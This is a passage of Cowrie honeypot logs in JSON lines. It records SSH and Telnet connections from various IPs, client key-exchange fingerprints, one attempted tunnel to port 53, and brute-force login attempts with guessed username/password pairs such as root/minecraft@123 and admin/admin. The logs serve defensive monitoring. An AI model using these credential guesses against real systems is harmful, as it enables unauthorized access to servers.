eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:53.580260Z","src_ip":"87.251.64.176","session":"e15afd8dba02","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:53.885798Z","src_ip":"87.251.64.176","session":"e15afd8dba02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:53.985133Z","session":"e15afd8dba02","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:54.091055Z","src_ip":"87.251.64.176","session":"e15afd8dba02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:45:54.190728Z","src_ip":"87.251.64.176","session":"e15afd8dba02","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":48372,"dst_ip":"159.203.135.109","dst_port":22,"session":"36b00cd34a97","protocol":"ssh","message":"New connection: 217.154.192.185:48372 (159.203.135.109:22) [session: 36b00cd34a97]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:12.869990Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:12.875098Z","src_ip":"217.154.192.185","session":"36b00cd34a97","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:12.969728Z","src_ip":"217.154.192.185","session":"36b00cd34a97","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"10021979612335","message":"login attempt [ubuntu/10021979612335] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:13.410038Z","src_ip":"217.154.192.185","session":"36b00cd34a97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":41.05720400810242,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:13.574145Z","src_ip":"5.61.90.139","session":"f52d4d1ba315","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:14.511347Z","src_ip":"217.154.192.185","session":"36b00cd34a97","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00167608261108,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:17.580919Z","src_ip":"125.166.18.60","session":"c6b917a2d297","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":43902,"dst_ip":"159.203.135.109","dst_port":22,"session":"022ab640a969","protocol":"ssh","message":"New connection: 159.203.92.129:43902 (159.203.135.109:22) [session: 022ab640a969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:18.693370Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:18.698054Z","src_ip":"159.203.92.129","session":"022ab640a969","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:18.702931Z","src_ip":"159.203.92.129","session":"022ab640a969","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitech","password":"222222","message":"login attempt [aitech/222222] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:18.719149Z","src_ip":"159.203.92.129","session":"022ab640a969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:19.724886Z","src_ip":"159.203.92.129","session":"022ab640a969","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00171971321106,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:22.474144Z","src_ip":"125.166.18.60","session":"bbabbd0ef3ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":60604,"dst_ip":"10.17.0.5","dst_port":23,"session":"3bb30978ae5f","protocol":"telnet","message":"New connection: 5.61.90.139:60604 (10.17.0.5:23) [session: 3bb30978ae5f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:22.707367Z"}
{"eventid":"cowrie.session.connect","src_ip":"80.253.31.232","src_port":53470,"dst_ip":"159.203.135.109","dst_port":22,"session":"bcbc6fb40fbc","protocol":"ssh","message":"New connection: 80.253.31.232:53470 (159.203.135.109:22) [session: bcbc6fb40fbc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:31.088269Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:31.093113Z","src_ip":"80.253.31.232","session":"bcbc6fb40fbc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:31.222611Z","src_ip":"80.253.31.232","session":"bcbc6fb40fbc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"minecraft@123","message":"login attempt [root/minecraft@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:31.768894Z","src_ip":"80.253.31.232","session":"bcbc6fb40fbc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:32.901241Z","src_ip":"80.253.31.232","session":"bcbc6fb40fbc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"112.217.199.222","src_port":51862,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5cc1d2385bd","protocol":"ssh","message":"New connection: 112.217.199.222:51862 (10.17.0.5:22) [session: e5cc1d2385bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:51.229696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:51.234245Z","src_ip":"112.217.199.222","session":"e5cc1d2385bd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:51.444706Z","src_ip":"112.217.199.222","session":"e5cc1d2385bd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass@2026","message":"login attempt [root/Pass@2026] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:52.318192Z","src_ip":"112.217.199.222","session":"e5cc1d2385bd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:53.531295Z","src_ip":"112.217.199.222","session":"e5cc1d2385bd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.134.240.52","src_port":47796,"dst_ip":"159.203.135.109","dst_port":22,"session":"8999dca2f4ab","protocol":"ssh","message":"New connection: 91.134.240.52:47796 (159.203.135.109:22) [session: 8999dca2f4ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:57.917909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:57.922800Z","src_ip":"91.134.240.52","session":"8999dca2f4ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:58.016378Z","src_ip":"91.134.240.52","session":"8999dca2f4ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"Ubuntu","password":"ubuntu@2025","message":"login attempt [Ubuntu/ubuntu@2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:58.360911Z","src_ip":"91.134.240.52","session":"8999dca2f4ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:46:59.445538Z","src_ip":"91.134.240.52","session":"8999dca2f4ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41296,"dst_ip":"159.203.135.109","dst_port":22,"session":"92ea569af184","protocol":"ssh","message":"New connection: 159.203.92.129:41296 (159.203.135.109:22) [session: 92ea569af184]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:03.809066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:03.814204Z","src_ip":"159.203.92.129","session":"92ea569af184","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:03.819442Z","src_ip":"159.203.92.129","session":"92ea569af184","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aitech","password":"333333","message":"login attempt [aitech/333333] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:03.831860Z","src_ip":"159.203.92.129","session":"92ea569af184","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:04.839335Z","src_ip":"159.203.92.129","session":"92ea569af184","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.192.185","src_port":58972,"dst_ip":"159.203.135.109","dst_port":22,"session":"cc47d3eb4793","protocol":"ssh","message":"New connection: 217.154.192.185:58972 (159.203.135.109:22) [session: cc47d3eb4793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:06.740381Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:06.745598Z","src_ip":"217.154.192.185","session":"cc47d3eb4793","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:06.839016Z","src_ip":"217.154.192.185","session":"cc47d3eb4793","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"radmin","password":"radmin","message":"login attempt [radmin/radmin] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:07.241342Z","src_ip":"217.154.192.185","session":"cc47d3eb4793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:08.337397Z","src_ip":"217.154.192.185","session":"cc47d3eb4793","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":47.44304037094116,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:47:10.150299Z","src_ip":"5.61.90.139","session":"3bb30978ae5f","protocol":"telnet"}
